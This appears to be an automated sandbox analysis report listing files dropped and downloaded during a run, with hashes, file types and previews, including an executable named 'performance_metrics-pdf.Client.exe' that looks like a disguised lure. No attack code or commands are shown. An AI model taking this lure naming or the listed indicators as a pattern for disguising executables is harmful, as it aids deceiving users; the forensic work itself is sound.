C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\932a2db58c237abd381d22df4c63a04a_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	3.463057265798253
Encrypted:	false
SSDEEP:	3:/lqlhGXKRjgjkFmURueGvx2VTUz:4DRPAx2Kz
MD5:	D2DED43CE07BFCE4D1C101DFCAA178C8
SHA1:	CE928A1293EA2ACA1AC01B61A344857786AFE509
SHA-256:	8EEE9284E733B9D4F2E5C43F71B81E27966F5CD8900183EB3BB77A1F1160D050
SHA-512:	A05486D523556C75FAAEEFE09BB2F8159A111B1B3560142E19048E6E3898A506EE4EA27DD6A4412EE56A7CE7C21E8152B1CDD92804BAF9FAC43973FABE006A2F
Malicious:	false
Reputation:	low
Preview:	......../...............................Microsoft Enhanced Cryptographic Provider v1.0.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 20:59:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9839040449240866
Encrypted:	false
SSDEEP:	48:8XpdBTpt0H7idAKZdA1FehwiZUklqeh1y+3:8lLEyy
MD5:	E4B6164B8A1404B0F2537D70D0E9014F
SHA1:	F7E494614C72A88F3490D3946EE2754C8D6C0E67
SHA-256:	3635D5AE69A4DF204AA0E999BB2A69997055E67D1E168A0A6147CC993B80F292
SHA-512:	125C5CC03C6BF10604727BC55E8BA910A5F53F0C4AE689DA38F85DEBDFA43AEDFDE6A225AA2B74CF353C742C278F7769BDBCE007DCE1FD0896C3C30FFDFFA1F3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....:..)=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IvYf.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........i{t(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 20:59:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.000783429066995
Encrypted:	false
SSDEEP:	48:87dBTpt0H7idAKZdA1seh/iZUkAQkqehiy+2:8rL69Qvy
MD5:	643B76141BBF0B9927C4AF7DF2580F60
SHA1:	AED7AF35A9616E9756CA32498AE726813E80AA6E
SHA-256:	978F80B086F57A9E94C05C0EBC1B3C0E9F7115B3335E78F9F0BBC75493FD8117
SHA-512:	6DBF6618840C49306ACE468317DAAC9C930CD3C6BB1A14B6E002A8AA7D35755FADF4A7C5145844B35B79B7265A83573D5B796B02493B3AC72C1A5EBA9E0050AB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....B..)=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IvYf.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........i{t(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.007136535433438
Encrypted:	false
SSDEEP:	48:8SdBTptAH7idAKZdA14meh7sFiZUkmgqeh7s8y+BX:8gLyney
MD5:	5596F97FE0C05D3E204E0FE8499EEB6C
SHA1:	9F4AFD949DFF531A87F9722CA4449F6D3D227835
SHA-256:	D55543483C59E65FE8E6747396A280E068D3DFB7B8D9879813FA54E32F1FFA88
SHA-512:	FA1ECC0A087BB510862B3943646565DBD3196AE5B08350F369285D516409CD634C2A71F328E2E10DA2EA512B97A4B8240F337D691C1E6586DDD786E5DEDC3D11
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IvYf.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........i{t(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 20:59:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.001376149894989
Encrypted:	false
SSDEEP:	48:8IdBTpt0H7idAKZdA1TehDiZUkwqehWy+R:8aLxUy
MD5:	813F13BD556E586C4ADB1A6013D661BF
SHA1:	4C160A9BECA43C4F32866902319246C697C2013E
SHA-256:	09009E659A9AC65B1DF9861D9A67BD46250B43597A05A10F10310816ABF8DDBA
SHA-512:	E12B830FB4B82BC4A3745FC3E5CD42A4CD4EA52E62EB1C6054C2A9E249F41E7979F290992C31773509E226CA045E64E4CF0E787F122CF222BCE0B12D15FA5ADA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........)=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IvYf.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........i{t(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 20:59:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.986461855258528
Encrypted:	false
SSDEEP:	48:8+dBTpt0H7idAKZdA1dehBiZUk1W1qehYy+C:8ELx94y
MD5:	C1D07147CA57457BDC048848D42B098A
SHA1:	98D7D808F6430AD9DCAF30F7942AD81C343495FE
SHA-256:	B6FC8C70B9A252E10E19B172D447097257514D492789AD94B78EB6DF347DEF59
SHA-512:	5FFF78769A56D403BE06AA8C78C5836F8AAAA62799DCF1F979F7E62EF620E7AEF19C864DE13DBA827F5DA4E3A0F3D2FC2332735C1915A1F211DCDBB93E32C525
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....\..)=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IvYf.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........i{t(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 20:59:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9942463533675188
Encrypted:	false
SSDEEP:	48:8mdBTpt0H7idAKZdA1duTeehOuTbbiZUk5OjqehOuTbey+yT+:8sLZTfTbxWOvTbey7T
MD5:	4B65520587F8551F295CE46F4DED9270
SHA1:	347B80D3F7FD633BED2B2EF4FFFE901891220F65
SHA-256:	1FC0DAE6E47441D9F5272BA943855C1F7A9C87E31BC433D6142FE8355D98177D
SHA-512:	7E001AF93166E699F9B7B41FC2575D795E12ED4FB77509D5F6F10780EFE7019C712D58793554905CEE9B8B20E33CFB927B0ACEE63B69AE73E2E4A858D5F69867
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....c..)=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IvYf.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........i{t(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\Unconfirmed 182746.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83280
Entropy (8bit):	6.514504428285572
Encrypted:	false
SSDEEP:	1536:RoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaWPBJYY379J:LenkyfPAwiMq0RqRfbaWZJYY3f
MD5:	23B44C9F64A248BE4F01A1BFD1FE0686
SHA1:	39561DB40A4E616C787188C56CCD51ACDE9EB57B
SHA-256:	5FB3EA2D6FD25C4161C25405FB6BA4CFBC25B3242051FA9A89027CA474872F43
SHA-512:	159508CD818F1264EBF281400DBB6D0AEDB2A131944BC37E5E91A9FFF33866164EF8EF1D0D86E089A7577F20CBF6636C2F67CB0B6AA44FC652257A2349335BAC
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ycId...d...d......n.............\|.......A.......v.......v...m`..a...d...........e.......e.......e...Richd...........PE..L......g...............'..........................@..........................P............@.....................................<....0..................P-...@......8...p...........................x...@...............<............................text............................... ..`.rdata..X].......^..................@..@.data...............................@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Downloads\cdca2320-d5b8-4397-ac43-80bc6a1d7245.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16006
Entropy (8bit):	6.411564962046915
Encrypted:	false
SSDEEP:	384:RoXJk66J+B2DJHkTUo467rJ1EUJBo2qYr45rv:RoX266IB+Jsz9XEUGYk5D
MD5:	56C5FD7102ED0308BB4C519806FE9AA3
SHA1:	9E907A8C2F282B20E68219415DE40FF48447C18E
SHA-256:	56558D32951A95402EC4E7D56496B3632329B60EDAEEDFCB1501E67EE245AF1C
SHA-512:	CA1B172450BCDABBBF0C1EBC37D9625993261706F99EABCBEE4C37CDFA422218245558E610C9D940B4719888A629DF484D1B0A905BCAA4B7612369567EBF70A9
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ycId...d...d......n.............\|.......A.......v.......v...m`..a...d...........e.......e.......e...Richd...........PE..L......g...............'..........................@..........................P............@.....................................<....0..................P-...@......8...p...........................x...@...............<............................text............................... ..`.rdata..X].......^..................@..@.data...............................@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Downloads\performance_metrics-pdf.Client.exe (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83280
Entropy (8bit):	6.514504428285572
Encrypted:	false
SSDEEP:	1536:RoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaWPBJYY379J:LenkyfPAwiMq0RqRfbaWZJYY3f
MD5:	23B44C9F64A248BE4F01A1BFD1FE0686
SHA1:	39561DB40A4E616C787188C56CCD51ACDE9EB57B
SHA-256:	5FB3EA2D6FD25C4161C25405FB6BA4CFBC25B3242051FA9A89027CA474872F43
SHA-512:	159508CD818F1264EBF281400DBB6D0AEDB2A131944BC37E5E91A9FFF33866164EF8EF1D0D86E089A7577F20CBF6636C2F67CB0B6AA44FC652257A2349335BAC
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ycId...d...d......n.............\|.......A.......v.......v...m`..a...d...........e.......e.......e...Richd...........PE..L......g...............'..........................@..........................P............@.....................................<....0..................P-...@......8...p...........................x...@...............<............................text............................... ..`.rdata..X].......^..................@..@.data...............................@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.310182191708893
Encrypted:	false
SSDEEP:	6144:AKw8CE/ZeaJFSSPlY6B0CvpuIUOa4+e9gFbJUjWKdHjj5+nJ1sREf4J5A:Av8wWvp63qtdHHLeAv
MD5:	D097B5793975BD1CCC7D20DD44EEA4AD
SHA1:	B3864239574942C134EC48AC7FEE7A31EF553F46
SHA-256:	7BD78E94ADBCF59EFE7D3F848ADD67660F36984EC87A5BC59FB8F17D2B2562D5
SHA-512:	4C69EF6CA648DBAFFB2FD87FE0815EFE75296CD060EB88FA04D2288F9D47F9A1ACB96E6E660DCA8F0798CBBA85258C207ECCB7618FCB5A30D080D3BD18FEE3E9
Malicious:	false
Reputation:	low
Preview:	regfF...F....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....)=.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	57459
Entropy (8bit):	3.8048520571278845
Encrypted:	false
SSDEEP:	768:MIttZ7h2FSwnlCnUnXsNm8/4mvmR+H8Pkc/Ulht/M1BT5q9wHEO:7t3/wl5ncNBbvR9c/UlhBgp5q9S
MD5:	885335C51FD35EE9C78B16622E581288
SHA1:	D28EAC61623BA48C62ABC935404E967FD94906F9
SHA-256:	A3A395CCCB926B4E9C17A9E7AF46D89184F769E8D6D9DAEB06C4186D340C9596
SHA-512:	21E93F4F44B4F249C5234C799E806FFA1C454C26DB9D6BF59CFC98D1574032295E44EC06D573C31990CF7444F06B55FA77FDC20BF7CFBB4B6C20BD65C594B1D9
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="2600" height="1900" fill="none"><g clip-path="url(#a)"><path fill="#fff" d="M0 0h2600v1900H0z"/><path fill="url(#b)" d="M2611-23H-7v976h2618V-23Z"/><path fill="url(#c)" d="M-51.3 1763H2669V958H-51.3v805Z"/><path fill="#fff" d="M2074.4 706.8a240.4 240.4 0 1 0 0-480.8 240.4 240.4 0 0 0 0 480.8Z" opacity=".1"/><path fill="#fff" d="M2074.4 663a196.6 196.6 0 1 0 0-393.2 196.6 196.6 0 0 0 0 393.2Z" opacity=".2"/><path fill="#fff" d="M2074.4 610.4a144 144 0 1 0 0-288 144 144 0 0 0 0 288Z" opacity=".3"/><path fill="#fff" d="M2074.4 557.8a91.4 91.4 0 1 0 0-182.8 91.4 91.4 0 0 0 0 182.8Z" opacity=".3"/><g opacity=".7"><path fill="#D3D3D3" d="M1766.6 682c-11.1-6.6-26.8-18.9-31.2 1.2-3.4-1.2-5.6 1-7.8 3.3-1.1 2.2 2.2 4.5 1.1 5.6-6.7 5.6-11.1 11.1-20 8.9-1.2 5.6 2.2 10 5.5 14.5 3.4 4.4-5.5 6.7-10 5.6-7.8-1.2-15.6-9-22.3-5.6-12.3 5.6-23.4 3.3-35.7 2.2-3.3 0-6.7 7.8-11.1 7.8a44.7 44.7 0 0 0-49.2 51.6c12.5-.2 22.6 7 30.2 17.5 2.3 3.4 6.7 2.2 9 2.2 3.3-2.2

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (784)
Category:	downloaded
Size (bytes):	789
Entropy (8bit):	5.149239058127064
Encrypted:	false
SSDEEP:	24:PHEbcMQloBHslgT9lCuABuoB7HHHHHHHYqmffffffo:PHSQloKlgZ01BuSEqmffffffo
MD5:	36527DF4A83B5E32D6F431B770C8F85F
SHA1:	B9BBFD06193B5ED8C69793998EB4D44DA1E2D765
SHA-256:	F21EBD994F2F9678CC56CA9968BB08BB206648EE1A7C6CFA8CF8887CC0CB38A7
SHA-512:	23E2045951749794DCD7016A82E2A8DB5EED79CE569B93F1E9FA96EEBC100F9AB2D6A1F53FC7F4DAD64D16B6E687E0D4DFA60AE1E6A1884873833EA0E2BEE3DF
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["las vegas grand prix f1","dwayne johnson moana live action movie","cryptocurrency bitcoin","magnetic north pole shifting","new jersey school closings","nyt strands hints november 22","college girls season 3","black friday sales"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (640), with CRLF line terminators
Category:	downloaded
Size (bytes):	38962
Entropy (8bit):	5.255443247924429
Encrypted:	false
SSDEEP:	384:Mzap85RfCWCgu6KDYBmT8LvmgKQMMOAiHgIowTGuKd8N8cRPpLTq6DiJY/MIIWnV:MNQl6FVyqyLTqDY/MmAGgxVO/D
MD5:	D3D6093CFCF408F05E731C5F0CC88C1F
SHA1:	6BA514230C6DEA7FB7E985BDCF49A3148D093892
SHA-256:	C29EEBDD3291808A778046A5E6B852932A8A8B91D1AD246F02C5F182179E2A38
SHA-512:	6D4952D7D3F5D4AE7EAD540D06A9568D3A5E2C1EE1BA55DC1967800C6AC593152BDA9209658C1DDAFC2EAF43A3B0E09D7CDE37EC49EE1961582B40277EFCA04A
Malicious:	false
Reputation:	low
URL:	https://wodbaker.com/Login?Reason=0
Preview:	..<!DOCTYPE html>..<html>..<head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />...<script>......// Enums....const Page = Object.freeze({.....Login: 'Login',.....ChangePassword: 'ChangePassword',.....ResetPassword: 'ResetPassword',....});....const FormStep = Object.freeze({.....Default: 'Default',.....OneTimePassword: 'OneTimePassword',.....ResetPassword: 'ResetPassword',....});....const Field = Object.freeze({.....UserName: 'userName',.....Password: 'password',.....OneTimePassword: 'oneTimePassword',.....ShouldTrust: 'shouldTrust',.....NewPassword: 'newPassword',.....VerifyNewPassword: 'verifyNewPassword',.....ResetCode: 'resetCode',....});......const _authState = {.....page: Page.Login,.....formStep: FormStep.Default,.....isFormSubmitting: false,.....error: '',.....fieldNameToFocus: '',.....securityNonce: '',.....formState: {},....};......function refreshAuthPanel() {.....

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27376), with CRLF line terminators
Category:	downloaded
Size (bytes):	474773
Entropy (8bit):	5.8159303916052805
Encrypted:	false
SSDEEP:	3072:g8B+8+a+WGg59pfbE5RvFVwJ9eESfgC5UcEirshwjOBp3:BRUWGg+jv75AwjEd
MD5:	8394F984C1750108AB0D2CFA0DDCAEDC
SHA1:	0502CF4E8A7357EBD4C0FF1E0EBB614B26027EA8
SHA-256:	4CB1E817C3FB6CA04A183C8C54990908EF0E8696A7E82A1E1F63411F4FB94E0E
SHA-512:	616425315527AA9A77F9E5A51BA9772ABAF4C24B01FF7C8AFE37DA900C0D472A03DEB1F0A691BB4344C9160705ED5BB36D2D041F586B217C55F9845E9F107312
Malicious:	false
